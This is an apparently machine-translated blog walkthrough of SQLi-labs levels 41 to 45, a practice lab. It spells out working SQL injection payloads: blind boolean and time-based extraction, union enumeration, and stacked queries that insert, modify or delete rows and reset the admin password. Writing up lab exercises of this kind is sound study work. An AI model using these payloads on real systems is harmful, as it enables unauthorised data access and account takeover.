当前位置:网站首页>SQL Lab (41~45) (continuous update later)
SQL Lab (41~45) (continuous update later)
2022-07-07 12:24:00 【hcjtn】
(41~45)
sql-lab-41
And 40 It's the same , Using stack injection , Time blind note , We found that it was just the different way of wrapping
Resolve table name :?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
therefore , We try to insert a statement :
?id=1;insert into users(id,username,password)values(20,‘hcjtn’,‘1234’)-- q
We can also try to modify the statement we just inserted :
?id=1 ;update users set username=‘tn’ where id=20-- q
Then try to eliminate it :
?id=1;delete from users where id=20 – q
sql-lab-42
open 42 Turn off , We found that it is very similar to the previous secondary injection interface
At that time, we were new users , Use secondary injection to carry out a sql The ginseng , But this level does not allow us to create new users ,
So we need to find its injection point above : When we're in password On the input ’or 1=1 – q
It is found that its injection point is password On
therefore , We can inject changes with stack admin password
First step : Determine its table name and Name
Name of judgment table :
’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
Found to have emails,referers,uagents,users Three tables
Judge the listing :
’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’-- q
Find out users There are id,username,password Three column names
Then we use stack injection to change the administrator password :
’ ;update users set password=‘hcjtn’ where username=‘admin’#-- q
Then input admin And password hcjtn I found that the landing was successful
sq-lab-43
and sql-lab-42 The same first segment injection point , stay password On the input ’)or 1=1# I found that the landing was successful It is found that the injection point is password On
43 Guan he 42 The difference of closing is only the difference of closing mode
The rest are exactly the same
The first is to judge the table name and column name :
Name of judgment table :
') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
Judge the listing :
') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’#
Use stack injection to change the administrator password :
1’);update users set password=‘hcjtn’ where username=‘admin’#
sql-lab-44
It's the same interface again ,
First judge the injection point when we are password On the input ’or 1=1 – q, I found that the landing was successful
Injection point :password
This level and 42 The difference is : There is no obvious visual sign of error reporting in this level
So we can only use Boolean blind note :
Resolve library name :
'or (ascii(substr((database()),1,1)))=115#
Description the first digit of the database name is s
'or (ascii(substr((database()),2,1)))=101#
Description the first digit of the database name is e
Name of judgment table :
'or (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q
Found to have emails,referers,uagents,users Three tables
Judge the listing :
'and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q
Find out users There are id,username,password Three column names
And then change admin Password :
';update set password=‘hcjtn’ where username=‘admin’#
Click , boring
sql-lab-45
The injection point is possword On :’)or 1=1 #
Use time blind injection
Resolve database name :’)or if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name : ')or if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :’ )or if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ')or (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q The first is i
边栏推荐
- "Series after reading" my God! It's so simple to understand throttling and anti shake~
- PowerShell cs-utf-16le code goes online
- 千人规模互联网公司研发效能成功之路
- Sonar:cognitive complexity
- [filter tracking] strapdown inertial navigation pure inertial navigation solution matlab implementation
- 【滤波跟踪】捷联惯导纯惯导解算matlab实现
- Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
- Attack and defense world ----- summary of web knowledge points
- [full stack plan - programming language C] basic introductory knowledge
- Problem: the string and characters are typed successively, and the results conflict
猜你喜欢
Attack and defense world - PWN learning notes
Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
Epp+dis learning road (2) -- blink! twinkle!
Attack and defense world ----- summary of web knowledge points
Zero shot, one shot and few shot
Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)
H3C HCl MPLS layer 2 dedicated line experiment
Up meta - Web3.0 world innovative meta universe financial agreement
Review and arrangement of HCIA
随机推荐
Tutorial on principles and applications of database system (010) -- exercises of conceptual model and data model
Visual studio 2019 (localdb) \mssqllocaldb SQL Server 2014 database version is 852 and cannot be opened. This server supports version 782 and earlier
(to be deleted later) yyds, paid academic resources, please keep a low profile!
Hi3516全系统类型烧录教程
Epp+dis learning path (1) -- Hello world!
(待会删)yyds,付费搞来的学术资源,请低调使用!
Let digital manage inventory
[data clustering] realize data clustering analysis based on multiverse optimization DBSCAN with matlab code
数据库系统原理与应用教程(007)—— 数据库相关概念
108. Network security penetration test - [privilege escalation 6] - [windows kernel overflow privilege escalation]
什么是局域网域名?如何解析?
<No. 8> 1816. 截断句子 (简单)
Common locking table processing methods in Oracle
30. Feed shot named entity recognition with self describing networks reading notes
wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
千人规模互联网公司研发效能成功之路
The road to success in R & D efficiency of 1000 person Internet companies
解密GD32 MCU产品家族,开发板该怎么选?
Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
SQL blind injection (WEB penetration)